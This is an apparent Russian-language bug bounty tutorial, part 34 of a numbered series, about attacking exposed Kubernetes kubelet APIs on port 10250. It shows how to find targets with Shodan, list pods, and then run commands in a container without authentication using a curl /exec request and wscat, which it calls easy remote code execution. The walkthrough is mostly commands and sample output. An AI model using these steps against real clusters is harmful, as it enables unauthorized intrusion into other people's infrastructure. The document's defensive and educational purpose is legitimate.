Bug Bounty, Bug Hunting, Охота за ошибками

#34 Bug Bounty. Kubernetes API.

Здравствуйте, дорогие друзья.

Введение

С появлением докера новые технологии неизбежно разрабатываются вокруг концепции контейнеров. Kubernetes — это оркестрация контейнеров с открытым исходным кодом, система автоматизации развертывания, масштабирования и управления приложениями. Он был изначально разработан Google.

Открытый API Kubernetes

Kubernetes предоставляет REST API без аутентификации на порту 10250. Если разработчики не будут осторожны, этот API может быть доступен в Интернете. Быстрый поиск в Shodan поможет найти кучу этих сервисов.

Как только служба Kubernetes обнаружена, первое, что нужно сделать, — это получить список модулей. отправив запрос GET на конечную точку /pods. Сервер должен ответить что-то типа:

{

“kind”: “PodList”,

“apiVersion”: “v1”,

“metadata”: {},

“items”: [

{

“metadata”: {

“name”: “pushgateway-5fc955dd8d-674qn”,

“generateName”: “pushgateway-5fc955dd8d-“,

“namespace”: “monitoring”,

“selfLink”: “/api/v1/namespaces/monitoring/pods/pushgateway-5fc955dd8d-674qn”,

“uid”: “d554e035-b759-11e9-814c-525400bdacd2”,

“resourceVersion”: “9594”,

“creationTimestamp”: “2019-08-05T08:20:07Z”,

“labels”: {

“app”: “pushgateway”,

“pod-template-hash”: “1975118848”,

“prophet.4paradigm.com/deployment”: “pushgateway”

},

“annotations”: {

“kubernetes.io/config.seen”: “2019-08-05T16:20:07.080938229+08:00”,

“kubernetes.io/config.source”: “api”,

“kubernetes.io/created-by”:

“{\”kind\”:\”SerializedReference\”,\”apiVersion\”:\”v1\”,\”reference\”:{\”kind\”:\”ReplicaSet\”,\”name

space\”:\”monitoring\”,\”name\”:\”pushgateway-5fc955dd8d\”,\”uid\”:\”d552bfb3-b759-11e9-814c-

525400bdacd2\”,\”apiVersion\”:\”extensions\”,\”resourceVersion\”:\”9591\”}}\n”

},

“ownerReferences”: [

{

“apiVersion”: “extensions/v1beta1”,

“kind”: “ReplicaSet”,

“name”: “pushgateway-5fc955dd8d”,

“uid”: “d552bfb3-b759-11e9-814c-525400bdacd2”,

“controller”: true,

“blockOwnerDeletion”: true

}

]

},

“spec”: {

“volumes”: [

{

“name”: “default-token-qgm5l”,

“secret”: {

“secretName”: “default-token-qgm5l”,

“defaultMode”: 420

}

}

],

“containers”: [

{

“name”: “pushgateway”,

“image”: “10.10.0.15:35000/prom/pushgateway:v0.4.1”,

“ports”: [

{

“name”: “http”,

“containerPort”: 9091,

“protocol”: “TCP”

}

]

Из приведенного выше ответа мы получаем имя пространства имен, имена модулей и имена контейнеров:

● Пространство имен

○ мониторинг

● Название модуля

● Имя контейнера

○ Пуш-шлюз

С помощью этой информации можно отправить запрос в службу API, которая выполнит заданную команду. Это можно сделать, отправив следующий GET запрос:

curl –insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-

Stream-Protocol-Version: channel.k8s.io” -H “Connection: upgrade” -H

Upgrade: SPDY/3.1” -X POST

https://<DOMAIN>:<PORT>/exec/<NAMESPACE>/<POD

NAME>/<CONTAINER NAME>?command=<COMMAND TO

EXECUTE>&input=1&output=1&tty=1”

После отправки запросов Вы должны получить ответ, аналогичный сообщению ниже:

Как Вы можете видеть, приведенный выше ответ указывает на то, что он был успешным, и веб-сокет коннект создан. Обратите внимание на значение заголовка местоположения, в этом ответе его значение равно /cri/exec/Bwak7x7h.

Для обработки подключений к веб-сокетам используйте инструмент wscat. Этот инструмент может загружаться с помощью следующей команды:

apt-get install node-ws

Теперь возьмите значение заголовка местоположения, которое было отмечено ранее, и отправьте следующие запросы для получения вывода команды:

wscat -c “https://<DOMAIN>:<PORT>/<Location Header Value>” –no-check

wscat -c “https://<DOMAIN>:<PORT>/<Location Header Value>” –no-check

Как Вы можете видеть на изображении выше, для контейнера была запущена команда «id». и отображается вывод. Мы успешно выполнили код на удаленном контейнере, RCE — это легко.

Вывод

С новыми технологиями приходят новые уязвимости. Рост докер-контейнеров спровоцировал появление Kubernetes. Если разработчик не будет осторожен, он может легко представить миру API Kubernetes. Это может позволить удаленным злоумышленникам выполнять команды на контейнерах без аутентификации.

На этом все. Всем хорошего дня!

#1 Bug Bounty. Подготовка к Bug Bounty. Введение.

#2 Bug Bounty. Организация. Введение.

#3 Bug Bounty. Заметки. Введение.

#4 Bug Bounty. Подготовка к охоте. База знаний.

#5 Bug Bounty. RSS-каналы.

#6 Bug Bounty 101. Выбор платформы.

#7 Bug Bounty. Выбор правильной цели.

#8 Bug Bounty. Методология — рабочие процессы.

#9 Bug Bounty. Рабочий процесс GitHub.

#10 Bug Bounty. Гугл Дорки Рабочий процесс.

#11 Bug Bounty. Эксплойты — Рабочий процесс.

#12 Bug Bounty. CMS — Рабочий процесс.

#13 Bug Bounty. Брутфорс — Рабочий процесс.

#14 Bug Bounty. Раздел 2. Разведка.

#15 Bug Bounty. Reverse Whois.

#16 Bug Bounty. Гугл Дорки.

#17 Bug Bounty. Разведка — Фаза 2. Словарь.

#18 Bug Bounty. Перечисление поддоменов.

#19 Bug Bounty. Поисковый движок.

#20 Bug Bounty. Перестановка поддоменов.

#21 Bug Bounty. Разрешения DNS.

#22 Bug Bounty. Wayback Machine crawl data.

#23 Bug Bounty. Проверка файлов JavaScript.

#24 Bug Bounty. Гугл Дорки.

#25 Bug Bounty. Часть 8: Фаза fingerprint.

#26 Bug Bounty. Censys. Nmap. Masscan.

#27 Bug Bounty. Веб-приложение.

#28 Bug Bounty. Этап эксплуатации.

#29 Bug Bounty. GitHub.

#30 Bug Bounty. Неправильно настроенные сегменты облачного хранилища.

#31 Bug Bounty. Облачное хранилище Google.

#32 Bug Bounty. Elastic Search DB.

#33 Bug Bounty. Docker API.